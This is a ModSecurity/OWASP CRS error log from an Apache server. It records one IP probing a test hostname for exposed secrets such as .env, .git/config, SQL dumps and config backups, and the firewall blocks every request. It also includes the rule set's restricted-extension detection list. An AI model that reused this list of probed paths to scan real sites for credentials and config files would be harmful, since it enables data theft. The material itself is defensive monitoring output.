[Sun Jun 29 20:18:14.630330 2025] [:error] [pid 3059541] [client 185.177.72.107:29174] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backup/.env~&quot;] [unique_id &quot;aGGDZqAIGT5SiqI9BxP-eAAAAAc&quot;]
[Sun Jun 29 20:18:14.630545 2025] [:error] [pid 3059541] [client 185.177.72.107:29174] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backup/.env~&quot;] [unique_id &quot;aGGDZqAIGT5SiqI9BxP-eAAAAAc&quot;]
[Sun Jun 29 20:18:14.651397 2025] [:error] [pid 3059541] [client 185.177.72.107:29174] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /backup/.git/&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backup/.git/&quot;] [unique_id &quot;aGGDZqAIGT5SiqI9BxP-eQAAAAc&quot;]
[Sun Jun 29 20:18:14.651644 2025] [:error] [pid 3059541] [client 185.177.72.107:29174] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backup/.git/&quot;] [unique_id &quot;aGGDZqAIGT5SiqI9BxP-eQAAAAc&quot;]
[Sun Jun 29 20:18:14.651830 2025] [:error] [pid 3059541] [client 185.177.72.107:29174] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backup/.git/&quot;] [unique_id &quot;aGGDZqAIGT5SiqI9BxP-eQAAAAc&quot;]
[Sun Jun 29 20:18:14.674581 2025] [:error] [pid 3059541] [client 185.177.72.107:29174] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /backup/.git/head&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backup/.git/HEAD&quot;] [unique_id &quot;aGGDZqAIGT5SiqI9BxP-egAAAAc&quot;]
[Sun Jun 29 20:18:14.674824 2025] [:error] [pid 3059541] [client 185.177.72.107:29174] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backup/.git/HEAD&quot;] [unique_id &quot;aGGDZqAIGT5SiqI9BxP-egAAAAc&quot;]
[Sun Jun 29 20:18:14.674990 2025] [:error] [pid 3059541] [client 185.177.72.107:29174] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backup/.git/HEAD&quot;] [unique_id &quot;aGGDZqAIGT5SiqI9BxP-egAAAAc&quot;]
[Sun Jun 29 20:18:14.695616 2025] [:error] [pid 3059541] [client 185.177.72.107:29174] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /backup/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backup/.git/config&quot;] [unique_id &quot;aGGDZqAIGT5SiqI9BxP-ewAAAAc&quot;]
[Sun Jun 29 20:18:14.696092 2025] [:error] [pid 3059541] [client 185.177.72.107:29174] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backup/.git/config&quot;] [unique_id &quot;aGGDZqAIGT5SiqI9BxP-ewAAAAc&quot;]
[Sun Jun 29 20:18:14.696274 2025] [:error] [pid 3059541] [client 185.177.72.107:29174] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backup/.git/config&quot;] [unique_id &quot;aGGDZqAIGT5SiqI9BxP-ewAAAAc&quot;]
[Sun Jun 29 20:18:14.731390 2025] [:error] [pid 3059541] [client 185.177.72.107:29174] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /backup/.git/logs/head&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backup/.git/logs/HEAD&quot;] [unique_id &quot;aGGDZqAIGT5SiqI9BxP-fAAAAAc&quot;]
[Sun Jun 29 20:18:14.731640 2025] [:error] [pid 3059541] [client 185.177.72.107:29174] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backup/.git/logs/HEAD&quot;] [unique_id &quot;aGGDZqAIGT5SiqI9BxP-fAAAAAc&quot;]
[Sun Jun 29 20:18:14.731897 2025] [:error] [pid 3059541] [client 185.177.72.107:29174] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backup/.git/logs/HEAD&quot;] [unique_id &quot;aGGDZqAIGT5SiqI9BxP-fAAAAAc&quot;]
[Sun Jun 29 20:18:14.753708 2025] [:error] [pid 3059541] [client 185.177.72.107:29174] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/.gitignore&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.gitignore found within REQUEST_FILENAME: /backup/.gitignore&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backup/.gitignore&quot;] [unique_id &quot;aGGDZqAIGT5SiqI9BxP-fQAAAAc&quot;]
[Sun Jun 29 20:18:14.753938 2025] [:error] [pid 3059541] [client 185.177.72.107:29174] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backup/.gitignore&quot;] [unique_id &quot;aGGDZqAIGT5SiqI9BxP-fQAAAAc&quot;]
[Sun Jun 29 20:18:14.754112 2025] [:error] [pid 3059541] [client 185.177.72.107:29174] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backup/.gitignore&quot;] [unique_id &quot;aGGDZqAIGT5SiqI9BxP-fQAAAAc&quot;]
[Sun Jun 29 20:18:28.822218 2025] [:error] [pid 2967922] [client 185.177.72.107:32096] [client 185.177.72.107] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backup/app.js.bak&quot;] [unique_id &quot;aGGDdH3T5w8Ph4-X-hFF6QAAAAQ&quot;]
[Sun Jun 29 20:18:28.822623 2025] [:error] [pid 2967922] [client 185.177.72.107:32096] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backup/app.js.bak&quot;] [unique_id &quot;aGGDdH3T5w8Ph4-X-hFF6QAAAAQ&quot;]
[Sun Jun 29 20:18:28.822809 2025] [:error] [pid 2967922] [client 185.177.72.107:32096] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backup/app.js.bak&quot;] [unique_id &quot;aGGDdH3T5w8Ph4-X-hFF6QAAAAQ&quot;]
[Sun Jun 29 20:18:28.943785 2025] [:error] [pid 2967922] [client 185.177.72.107:32096] [client 185.177.72.107] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backup/backup.sql&quot;] [unique_id &quot;aGGDdH3T5w8Ph4-X-hFF6gAAAAQ&quot;]
[Sun Jun 29 20:18:28.944135 2025] [:error] [pid 2967922] [client 185.177.72.107:32096] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backup/backup.sql&quot;] [unique_id &quot;aGGDdH3T5w8Ph4-X-hFF6gAAAAQ&quot;]
[Sun Jun 29 20:18:28.944345 2025] [:error] [pid 2967922] [client 185.177.72.107:32096] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backup/backup.sql&quot;] [unique_id &quot;aGGDdH3T5w8Ph4-X-hFF6gAAAAQ&quot;]
[Sun Jun 29 20:18:29.240954 2025] [:error] [pid 2967922] [client 185.177.72.107:32096] [client 185.177.72.107] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backup/config.php.bak&quot;] [unique_id &quot;aGGDdX3T5w8Ph4-X-hFF8AAAAAQ&quot;]
[Sun Jun 29 20:18:29.241349 2025] [:error] [pid 2967922] [client 185.177.72.107:32096] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backup/config.php.bak&quot;] [unique_id &quot;aGGDdX3T5w8Ph4-X-hFF8AAAAAQ&quot;]
[Sun Jun 29 20:18:29.241568 2025] [:error] [pid 2967922] [client 185.177.72.107:32096] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backup/config.php.bak&quot;] [unique_id &quot;aGGDdX3T5w8Ph4-X-hFF8AAAAAQ&quot;]
[Sun Jun 29 20:18:29.299822 2025] [:error] [pid 2967922] [client 185.177.72.107:32096] [client 185.177.72.107] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backup/db.sql&quot;] [unique_id &quot;aGGDdX3T5w8Ph4-X-hFF8gAAAAQ&quot;]
[Sun Jun 29 20:18:29.300177 2025] [:error] [pid 2967922] [client 185.177.72.107:32096] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backup/db.sql&quot;] [unique_id &quot;aGGDdX3T5w8Ph4-X-hFF8gAAAAQ&quot;]
[Sun Jun 29 20:18:29.300412 2025] [:error] [pid 2967922] [client 185.177.72.107:32096] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backup/db.sql&quot;] [unique_id &quot;aGGDdX3T5w8Ph4-X-hFF8gAAAAQ&quot;]
[Sun Jun 29 20:18:29.358912 2025] [:error] [pid 2967922] [client 185.177.72.107:32096] [client 185.177.72.107] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backup/debug.log&quot;] [unique_id &quot;aGGDdX3T5w8Ph4-X-hFF9AAAAAQ&quot;]
